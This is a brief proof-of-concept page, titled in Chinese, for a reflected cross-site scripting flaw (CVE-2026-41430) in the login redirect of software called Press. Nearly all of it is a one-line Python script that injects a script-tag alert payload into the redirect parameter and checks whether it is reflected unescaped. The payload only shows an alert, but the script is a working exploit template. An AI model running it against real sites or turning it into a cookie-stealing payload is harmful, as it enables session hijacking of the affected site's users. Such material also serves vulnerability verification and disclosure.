CVE-2026-41430 Press登录页重定向反射型XSS漏洞

import requests # PoC for CVE-2026-41430 Reflected XSS in Press Login Redirect # Target URL needs to be replaced with the actual instance target_url = "http://target-press-instance/login" # Malicious payload to demonstrate script execution xss_payload = "<script>alert('CVE-2026-41430');</script>" # Constructing the malicious URL with the payload in the redirect parameter exploit_url = f"{target_url}?redirect={xss_payload}" try: response = requests.get(exploit_url) # Check if the payload is reflected unescaped in the response body if xss_payload in response.text: print("[+] Vulnerability confirmed: XSS payload is reflected in the response.") else: print("[-] Vulnerability not confirmed or patch has been applied.") except Exception as e: print(f"[!] Error occurred: {e}")